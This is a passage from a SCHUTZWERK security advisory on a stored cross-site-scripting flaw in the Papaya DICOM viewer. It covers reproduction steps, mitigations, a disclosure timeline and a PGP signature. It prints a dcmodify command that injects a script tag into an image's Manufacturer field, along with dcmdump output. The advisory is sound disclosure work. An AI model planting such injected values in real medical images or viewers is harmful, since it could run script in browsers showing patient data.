in multiple ways. The option of interest for the cross-site-scripting vulnerability is the "Show Header" entry, which allows getting further information about the medical image. An example DICOM[3] zip archive was downloaded[4], extracted and opened in Papaya. The "Show Header" function shows multiple entries including private patient data fields like patient ID, name, date of birth and gender. The DICOM ToolKit (DCMTK)[5] offers multiple tools to analyze, create and edit DICOM images. The metadata field "Manufacturer" of the previously downloaded DICOM image was edited with help of the DCMTK tool dcmodify: DICTPATH=/tmp/share/dcmtk/dicom.dic dcmodify -m "Manufacturer=<script>alert(1)</script>" 2_skull_ct/DICOM/I0 The DCMTK tool dcmdump can be used to verify the manipulated metadata entry: dcmdump 2_skull_ct/DICOM/I0 [..] # Dicom-Data-Set [..] (0008,0070) LO [<script>alert(1)</script>] # 26, 1 Unknown Tag & Data [..] Viewing the header information of the manipulated DICOM image in Papaya executes the injected JavaScript code in the web browser. SCHUTZWERK decided to publish the still existing vulnerability (commit 4a42701), since the vendor did not implement any remediation several months after new contributors have been introduced to the project. Solution/Mitigation =================== Several mitigation recommendations have been sent to the vendor. These include common mitigation strategies from OWASP[6], like escaping user controlled input and the usage of popular JavaScript libraries like DomPurify[7]. As a quick workaround, the context menu, which allows showing header information can be disabled by setting the variable kioskMode to true. Disclosure timeline =================== 2020-08-20: Vulnerability discovered 2020-08-20: Vulnerability reported to vendor 2020-09-30: Contacted vendor again 2020-09-30: Vendor responds and asks for mitigation ideas 2020-10-01: Response to vendor with detailed information and mitigation ideas 2020-11-09: Contacted vendor again for any status updates 2022-08-30: Retest of the customer application including the Papaya web application 2022-09-21: Notified vendor of intention to publish advisory 2022-10-18: Vendor notified SCHUTZWERK of new contributors who will maintain the project 2023-04-19: Informed vendor about publication deadline on May 15, 2023 2023-05-08: Vendor replied with intention to fix vulnerability until May 15,2023 2023-05-15: Vulnerability fixed by vendor 2023-05-26: Advisory published by SCHUTZWERK Contact/Credits =============== The vulnerability was discovered during an assessment by Lennert Preuth of SCHUTZWERK GmbH. References ========== [0] https://github.com/rii-mango/Papaya [1] https://rii.uthscsa.edu/ [2] http://mangoviewer.com/pubs.html [3] https://en.wikipedia.org/wiki/DICOM [4] https://medimodel.com/sample-dicom-files/human_skull_2_dicom_file/ [5] https://dicom.offis.de/dcmtk.php.de [6] https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_ Prevention_Cheat_Sheet.html [7] https://github.com/cure53/DOMPurify Disclaimer ========== The information in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website. -----BEGIN PGP SIGNATURE----- iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRwkEgaHGFkdmlzb3Jp ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvCEA//YsP7ZUvk9VLzp49DtsMP HQF0ojoBmNZOi5fymVDRGScmMT5VLOsdp9EUEywPYxmxo1rPc4vv6gM3hQsQ7TRO oAb9ZeZjvYy2Nyz6cy3wX4H2naFOHEr085Uwpg9pX5DAHkQVsseTi/n04u5PT5xP Fnuozie/KOG4pmkkKFHmG6aWgUSXWZuq8japOghl6g35BmG7ntXG2OYsb7f5ITYw ksRbJt+8wetrBsa/pR6ZfEkoEpyuFZg85EDpDRoBPVlGZtuSF6dh+WfO+9VQBjLE dZwPRaXefHp/v89rEfWvkX3JGmGWh6P8KQ+puF3GHLcBa8iDIbW/HPfQHGuGhfIa upZ1E+HtgpxInxelM/BcFKXSjD4AMnAULa2C6nWsdmw8GIKHHus+WQuK1z40R7N4 Vji59buH9SBWAWb7MuyRrdxoZSmAuxcR7lXVzHMxSOZm0W7J0d9luLL8XUn4kj8+ tRE24TgbdGyAYr/V6BO9RiYCtyWPji5VBtwFZLFlvKRo81zyS9nve651nWS7Fv/l OGns4fGbEZ+sm/YuFdfyzg8TMJ0pqV0AswCnx9mSqWn3RRBHg55pE4i6IyUdofu/ eiaTl33oyGolW7rQ5ATtmsOgKp5jKb7rt3WVSBLn1D9+JJ8MfbDrvyUoTkIZaqEp 4bKAQKWvxQG8GpbKuQT4on0= =IEuk -----END PGP SIGNATURE----- -- SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany Zertifiziert / Certified ISO 27001, 9001 and TISAX Phone +49 731 977 191 0 advisories@schutzwerk.com / www.schutzwerk.com Geschäftsführer / Managing Directors: Jakob Pietzka, Michael Schäfer Amtsgericht Ulm / HRB 727391 Datenschutz / Data Protection www.schutzwerk.com/datenschutz </code></pre>